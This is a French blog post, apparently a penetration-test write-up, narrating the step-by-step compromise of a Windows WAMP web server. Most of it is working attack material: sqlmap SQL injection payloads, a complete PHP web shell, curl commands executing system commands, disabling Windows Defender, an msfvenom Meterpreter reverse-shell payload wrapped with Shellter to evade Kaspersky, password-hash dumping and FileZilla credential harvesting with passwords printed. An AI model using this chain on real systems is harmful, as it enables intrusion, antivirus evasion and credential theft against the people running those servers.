Tales of PenTest #1: Celui qui donnait la permission FILE
Rédigé par devloop - -
Exploitation web
Un Nmap sur evil.corp nous informe que seul un serveur Apache est présent sur le port 80. La machine est quand à elle un Windows (Win64 d'après la bannière HTTP, Nmap suspecte lui un Windows Server 2008).Je joue rapidement avec le site qui semble vulnérable à des injections SQL. Un Wapiti permet d'obtenir différents angles d'attaque.
./bin/wapiti http://evil.corp/ -v 2 --color -d 5
Wapiti trouve différentes failles SQL pour des scripts et des méthodes HTTP différentes (le nombre de failles n'est pas représentatif, il peut s'agir d'un même script vulnérable mais avec des paramètres d'URL différents).
Face à un tel choix j'ai toujours tendance à tester d'abord les injections dans les formulaires (je veux dire données envoyées en POST) pour la simple raison qu'elles permettent d'être plus discret (l'injection SQL n’apparaîtra pas dans les logs du serveur web).
Un autre élément primordial est à prendre en compte : le type d'injection SQL.
Entre une injection en aveugle basée sur le temps de réponse et une injection non-aveugle de type UNION le choix est vite fait.
Je préfère abandonner un peu de discrétion et pouvoir dumper rapidement des tables plutôt que être en mode ninja de l'apocalypse et parvenir à dumper une table en 3 semaines avec des erreurs :p
Je fini par faire mon choix parmi les scripts vulnérables :
Je lance sqlmap sur l'URL vulnérable qui est exploitable via différentes techniques.
$ sqlmap.py -u "http://evil.corp/products/?keyword=&category=1" --random-agent -p category --- Parameter: category (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: keyword=&category=1 AND 4994=4994 Type: AND/OR time-based blind Title: MySQL time-based blind - Parameter replace (MAKE_SET) Payload: keyword=&category=MAKE_SET(2846=2846,SLEEP(5)) Type: UNION query Title: Generic UNION query (NULL) - 8 columns Payload: keyword=&category=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71766b7071,0x507a72574e695348556a5556736b55794d4a7361626b7663416e7a6f6f62734a434c767247495773,0x716a766a71),NULL,NULL,NULL,NULL,NULL-- Hz oF --- web application technology: Apache 2.4.4 back-end DBMS: MySQL 5 available databases [4]: [*] evilcorp_db [*] information_schema [*] mysql [*] performance_schemaParmi les tables de evilcorp_db (obtenues avec sqlmap via -D evilcorp_db --tables) on trouve une table admin_users qui nous promet des merveilles.
Table: admin_users [7 columns] +------------+--------------+ | Column | Type | +------------+--------------+ | privileges | int(11) | | id_user | int(11) | | login | varchar(255) | | mail | varchar(255) | | name | varchar(255) | | pwd | varchar(64) | | role | tinyint(4) | +------------+--------------+
Admin web
Les identifiants qui y sont présents ne fonctionnent pas avec le site mais en fouillant un peu je trouve un CMS visiblement fait maison (aucune référence au nom de l'appli n'a été trouvé sur Google) sur /admin/ sur lequel les identifiants (stockés en clair) fonctionnent.Parmi les pages utilisées sur cette interface admin on trouve un script d'upload à /admin/context/upload.php.
Le problème c'est que lors de l'upload (qui accepte visiblement tout type d'extension) aucune indication n'est donnée sur l'emplacement où se retrouvent les fichiers.
SQLmap nous permet de savoir que l'utilisateur SQL courant (evil@localhost) n'est pas DBA (sniff).
Toutefois une bonne surprise nous attend lorsque l'on dump les privilèges des utilisateurs.
database management system users privileges: [*] 'evilcorp'@'%' [5]: privilege: DELETE privilege: FILE privilege: INSERT privilege: SELECT privilege: UPDATEYoupi ! C'est noël avant l'heure :) Grace au privilège FILE (qui n'a aucune raison d'être là) on va donc pouvoir dumper le code PHP des scripts via LOAD DATA INFILE et potentiellement placer une backdoor PHP via INTO OUTFILE (si secure_file_priv n'entre pas en jeux).
Avant de commencer à dumper les scripts PHP il faut déjà connaître leur path.
En fouillant dans la table admin_site de la base de données on peut trouver des variables de configuration du site, notamment des paths. Or il s'avère que ces paths correspondent à un environnement Unix (une racine web qui correspondrait à du RedHat ou CentOS), étrange pour un serveur qui semble tourner sous Windows...
Et effectivement les paths Unix que l'on peut donner à sqlmap via --file-read ne nous retournent aucun contenu.
Je retourne sur le site, bien décidé à lui faire cracher quelques paths valides. Au boût d'un moment je trouve un script qui permet d'afficher une image en spécifiant la largeur (paramètre w). Si on passe autre chose qu'un chiffre le script commence à causer :)
http://evil.corp/thumb.php?w=not_a_number&file=pictures%2Fproduct%2Fcamera.jpg
Les chemins présents en base doivent correspondre en fait à une ancienne installation.
On sait dorénavant que le serveur fonctionne bien sous Windows avec WAMP. Armé en plus de la version d'Apache on retrouve facilement sur le web les paths des fichiers de configuration pouvant nous aider (config Apache, MySQL et WAMP).
Divulgation de fichiers
Finalement le LOAD DATA INFILE fonctionne et nous permet de trouver l'emplacement des fichiers uploadés en récupérant le code du script PHP d'upload.Upload de fichiers
On uploade aussitôt une backdoor PHP générique qui exploite la possibilité d'instancier une fonction en PHP (une technique couramment utilisée, déjà vu dans les scripts que laissent des pirates après une intrusion).<?php $func = isset($_POST["f"]) ? $_POST["f"] : ""; $arg1 = isset($_POST["a"]) ? $_POST["a"] : ""; $arg2 = isset($_POST["b"]) ? $_POST["b"] : ""; $ret_func = isset($_POST["rf"]) ? $_POST["rf"] : ""; $ret_val = ""; if ($func != "") { if ($arg1 != "" && $arg2 != "") { $ret_val = $func($arg1, $arg2); } elseif ($arg1 != "") { $ret_val = $func($arg1); } else { $ret_val = $func(); } } if ($ret_func != "") { $ret_func($ret_val); } ?>
Exécution de commande
Cela permet de passer le nom de fonction à exécuter avec ses arguments (jusqu'à deux), de récupérer le résultat de la fonction et de le passer à une autre fonction.L'équivalent d'un print(passthru("dir c:\")) se fera de cette façon :
$ curl --data 'f=passthru&a=dir c:\&rf=print' http://evil.corp/pictures/product/db.inc.php Le volume dans le lecteur C n'a pas de nom. Le num�ro de s�rie du volume est DEAD-BEEF R�pertoire de c:\ 26/12/2014 17:03 <REP> Intel 17/08/2009 05:20 <REP> PerfLogs 10/12/2014 18:22 <REP> Program Files 17/03/2016 14:25 <REP> Program Files (x86) 02/08/2014 11:35 <REP> Backup 13/05/2015 11:28 <REP> temp 22/11/2017 10:34 <REP> Users 08/09/2016 10:21 <REP> wamp 11/06/2017 23:53 <REP> WindowsOn trouve quelques entrées intéressantes dans Program Files :
02/12/2014 09:36 <REP> FileZilla FTP Client 16/01/2017 14:25 <REP> Kaspersky Lab 09/04/2016 08:32 <REP> TeamViewer 23/12/2014 16:41 <REP> Windows DefenderIl y a donc deux outils de sécurité qui tournent.
$ curl --data 'f=passthru&a=tasklist&rf=print' http://evil.corp/pictures/product/db.inc.php Nom de l'image PID Nom de la sessio Num�ro de s Utilisation ========================= ======== ================ =========== ============ System Idle Process 0 Services 0 24 Ko System 4 Services 0 528 Ko smss.exe 436 Services 0 100 Ko csrss.exe 616 Services 0 1�588 Ko wininit.exe 672 Services 0 232 Ko winlogon.exe 748 Console 1 252 Ko services.exe 796 Services 0 5�044 Ko lsass.exe 804 Services 0 5�200 Ko lsm.exe 816 Services 0 1�500 Ko svchost.exe 996 Services 0 3�828 Ko ---snip--- wampmanager.exe 2156 Console 1 1�208 Ko avp.exe 2296 Services 0 80�044 Ko avpui.exe 1168 Console 1 3�060 Ko TeamViewer_Service.exe 3588 Services 0 6�052 Ko TeamViewer.exe 9416 Console 1 7�992 Ko httpd.exe 9172 Services 0 328 Ko mysqld.exe 7164 Services 0 31�888 Ko tomcat7.exe 13836 Services 0 50�648 Ko cmd.exe 4548 Services 0 2�932 Ko tasklist.exe 7412 Services 0 5�788 KoEt sous quel utilisateur je tourne au fait ?
$ curl --data 'f=passthru&a=whoami&rf=print' http://evil.corp/pictures/product/db.inc.php autorite nt\syst�meVous ne revez pas, WAMP tourne bien en système du coup les commandes que l'on passe aussi. Pas d'escalade de privilèges à ajouter :)
Parmi les services qui tournent on retrouve AVP17.0.0, KSDE1.0.0 et WinDefend.
Ce dernier peut être simplement stoppé avec sc stop WinDefend.
Pour Kaspersky c'est une autre paire de manche.
Bypass d'antivirus
Je vais générer une backdoor Meterpreter via msfvenom et Shellter pour diminuer mes chances d'être attrapé par l'antivirus.D'abord je génère un payload x86 raw avec msfvenom :
msfvenom -p windows/meterpreter/reverse_tcp LHOST=100.100.0.1 LPORT=7777 EXITFUNC=thread -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f raw -o custom_payload Attempting to read payload from STDIN... Attempting to read payload from STDIN... No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload Found 1 compatible encoders Attempting to encode payload with 5 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 381 (iteration=0) x86/shikata_ga_nai succeeded with size 408 (iteration=1) x86/shikata_ga_nai succeeded with size 435 (iteration=2) x86/shikata_ga_nai succeeded with size 462 (iteration=3) x86/shikata_ga_nai succeeded with size 489 (iteration=4) x86/shikata_ga_nai chosen with final size 489 Payload size: 489 bytes Found 1 compatible encoders Attempting to encode payload with 8 iterations of x86/countdown x86/countdown succeeded with size 507 (iteration=0) x86/countdown succeeded with size 525 (iteration=1) x86/countdown succeeded with size 543 (iteration=2) x86/countdown succeeded with size 561 (iteration=3) x86/countdown succeeded with size 579 (iteration=4) x86/countdown succeeded with size 597 (iteration=5) x86/countdown succeeded with size 615 (iteration=6) x86/countdown succeeded with size 633 (iteration=7) x86/countdown chosen with final size 633 Payload size: 633 bytes Found 1 compatible encoders Attempting to encode payload with 9 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 660 (iteration=0) x86/shikata_ga_nai succeeded with size 687 (iteration=1) x86/shikata_ga_nai succeeded with size 714 (iteration=2) x86/shikata_ga_nai succeeded with size 741 (iteration=3) x86/shikata_ga_nai succeeded with size 768 (iteration=4) x86/shikata_ga_nai succeeded with size 795 (iteration=5) x86/shikata_ga_nai succeeded with size 822 (iteration=6) x86/shikata_ga_nai succeeded with size 849 (iteration=7) x86/shikata_ga_nai succeeded with size 876 (iteration=8) x86/shikata_ga_nai chosen with final size 876 Payload size: 876 bytes Saved as: custom_payloadEnsuite j'utilise Shellter pour intégrer le payload dans un exécutable Win32.
Le choix de l'exécutable se fera généralement pour un programme assez gros (suffisamment d'instructions), qui fonctionne en ligne de commande (si on utilise le mode Stealth de Shellter qui conserve le fonctionnement du programme hôte) et qui n'a pas de système de vérification d'intégrité (du genre un installeur).
Dans l'exemple çi-dessous j'utilise SiteShooter de NirSoft mais il est tout à fait possible d'utiliser d'autres exécutables. Il faudra parfois plusieurs tentatives avant de trouver des paramètres adéquats pour Shellter. Les exécutables de NirSoft sont packés avec UPX, j'ai préalablement unpacké SiteShooter.exe avant de le passer à Shellter (upx.exe -d SiteShooter.exe).
1010101 01 10 0100110 10 01 11001001 0011101 001001 11 10 01 00 01 01 01 10 11 10 0010011 1110001 11011 11 10 00 10011 011001 11 00 10 01 11 01 11 01 01 11 0010010 11 00 0011010 100111 000111 00 1100011 01 10 v6.9 www.ShellterProject.com Wine Mode Choose Operation Mode - Auto/Manual (A/M/H): A PE Target: /tmp/SiteShoter.exe ********** * Backup * ********** Backup: Shellter_Backups\SiteShoter.exe ******************************** * PE Compatibility Information * ******************************** Minimum Supported Windows OS: 4.0 Note: It refers to the minimum required Windows version for the target application to run. This information is taken directly from the PE header and might be not always accurate. ****************** * Packed PE Info * ****************** Status: Possibly Not Packed - The EntryPoint is located in the first section! *********************** * PE Info Elimination * *********************** Data: Dll Characteristics (Dynamic ImageBase etc...), Digital Signature. Status: All related information has been eliminated! **************** * Tracing Mode * **************** Status: Tracing has started! Press CTRL+C to interrupt tracing at any time. Note: In Auto Mode, Shellter will trace a random number of instructions for a maximum time of approximately 30 seconds in native Windows hosts and for 60 seconds when used in Wine. Instructions Traced: 151793 Tracing Time Approx: 1.36 mins. Starting First Stage Filtering... ************************* * First Stage Filtering * ************************* Filtering Time Approx: 0.0107 mins. Enable Stealth Mode? (Y/N/H): N ************ * Payloads * ************ [1] Meterpreter_Reverse_TCP [stager] [2] Meterpreter_Reverse_HTTP [stager] [3] Meterpreter_Reverse_HTTPS [stager] [4] Meterpreter_Bind_TCP [stager] [5] Shell_Reverse_TCP [stager] [6] Shell_Bind_TCP [stager] [7] WinExec Use a listed payload or custom? (L/C/H): C Select Payload: /tmp/custom_payload Is this payload a reflective DLL loader? (Y/N/H): N **************** * Payload Info * **************** Payload: /tmp/custom_payload Size: 876 bytes Reflective Loader: NO Encoded-Payload Handling: Enabled Handler Type: IAT ****************** * Encoding Stage * ****************** Encoding Payload: Done! **************************** * Assembling Decoder Stage * **************************** Assembling Decoder: Done! *********************************** * Binding Decoder & Payload Stage * *********************************** Status: Obfuscating the Decoder using Thread Context Aware Polymorphic code, and binding it with the payload. Please wait... Binding: Done! ********************* * IAT Handler Stage * ********************* Fetching IAT Pointers to Memory Manipulation APIs... 0. VirtualAlloc --> IAT[41d154] 1. VirtualAllocEx --> N/A 2. VirtualProtect --> N/A 3. VirtualProtectEx --> IAT[41d1f8] 4. HeapCreate/HeapAlloc --> IAT[41d100]/IAT[41d164] 5. LoadLibrary/GetProcAddress --> IAT[41d160]/IAT[41d1e8] 6. GetModuleHandle/GetProcAddress --> IAT[41d138]/IAT[41d1e8] 7. CreateFileMapping/MapViewOfFile --> N/A Using Method --> 3 *************************** * IAT Handler Obfuscation * *************************** Status: Binding the IAT Handler with Thread Context Aware Polymorphic code. Please wait... Code Generation Time Approx: 0 seconds. ************************* * PolyMorphic Junk Code * ************************* Type: Engine Generating: ~546 bytes of PolyMorphic Junk Code Please wait... Generated: 546 bytes Code Generation Time Approx: 0 seconds. Starting Second Stage Filtering... ************************** * Second Stage Filtering * ************************** Filtering Time Approx: 0 mins. ******************* * Injection Stage * ******************* Virtual Address: 0x401cc6 File Offset: 0x10c6 Section: .text Adjusting stub pointers to IAT... Done! Adjusting Call Instructions Relative Pointers... Done! Injection Completed! ******************* * PE Checksum Fix * ******************* Status: Valid PE Checksum has been set! Original Checksum: 0x0 Computed Checksum: 0x2bb63 ********************** * Verification Stage * ********************** Info: Shellter will verify that the first instruction of the injected code will be reached successfully. If polymorphic code has been added, then the first instruction refers to that and not to the effective payload. Max waiting time: 10 seconds. Warning! If the PE target spawns a child process of itself before reaching the injection point, then the injected code will be executed in that process. In that case Shellter won't have any control over it during this test. You know what you are doing, right? ;o) Injection: Verified!Si on envoie l'exécutable sur NoDistribute on voit que seul deux antivirus détectent une menace... et il s'agit apparemment de faux positifs (je veux dire que c'est bien une menace mais la dénomination des malwares ne correspond pas au payload).
Dans tous les cas Kaspersky ne posera pas de problèmes d'après ces résultats.
On uploade et on lance l'exécutable sur le serveur avec passthru. La session Metasploit nous parvient.
meterpreter > sysinfo Computer : EVILCORP-WEBSERVER OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 System Language : fr_FR Domain : WORKGROUP Logged On Users : 1 Meterpreter : x64/win64La machine ne fait partie d'aucun réseau local ni domaine Windows, on va s'en tenir à la récupération d'identifiants.
meterpreter > getuid Server username: AUTORITE NT\Syst�me meterpreter > run killav [*] Killing Antivirus services on the target... [*] Killing off avp.exe...Après cette opération avp.exe reste toujours dans la liste des processus. Mais mon installation de Metasploit date un peu. Difficile de dire quel est l'état de l'antivirus après ça et si ça a eu un quelconque impact.
meterpreter > run hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 179da64596822c5bcfdaeae71751ad0e... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... No users with password hints on this system [*] Dumping password hashes... Administrateur:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Invit�:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WebServer:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Les utilisateurs ont tous le même hash correspondant à l'absence de mot de passe... Sous prétexte que les services Windows ne sont pas accessibles depuis l'extérieur on en oublie les bonnes pratiques de base :D
Trophée
On a vu plutôt que le client Filezilla était utilisé, voyons ce qu'on peut obtenir comme identifiants...meterpreter > run get_filezilla_creds [*] Running Meterpreter FileZilla Credential harvester script [*] All services are logged at /root/.msf4/logs/filezilla/EVILCORP_WEBSERVER_20170618.5630/EVILCORP_WEBSERVER_20170618.5630.txt [*] Running as SYSTEM extracting user list.. [*] Checking if Filezilla profile is present for user :::Admin:::... [-] Filezilla profile not found! [*] Checking if Filezilla profile is present for user :::WebServer:::... [*] FileZilla profile found! [*] Reading sitemanager.xml file... [*] Host: ftp.supplier.fr [*] Port: 21 [*] User: client425 [*] Password: nYZd4PkX [*] Protocol: FTP [*] [*] Reading recentservers.xml file... [*] Host: ftp.supplier.fr [*] Port: 21 [*] User: EVILCORP [*] Password: P@ssw0rd! [*] Protocol: FTP [*] [*] Host: ftp.supplier.fr [*] Port: 21 [*] User: client425 [*] Password: nYZd4PkX [*] Protocol: FTP [*] [*] Host: srv545.hosting.com [*] Port: 21 [*] User: EVILCORP [*] Password: Ev!lC0rp [*] Protocol: FTP [*]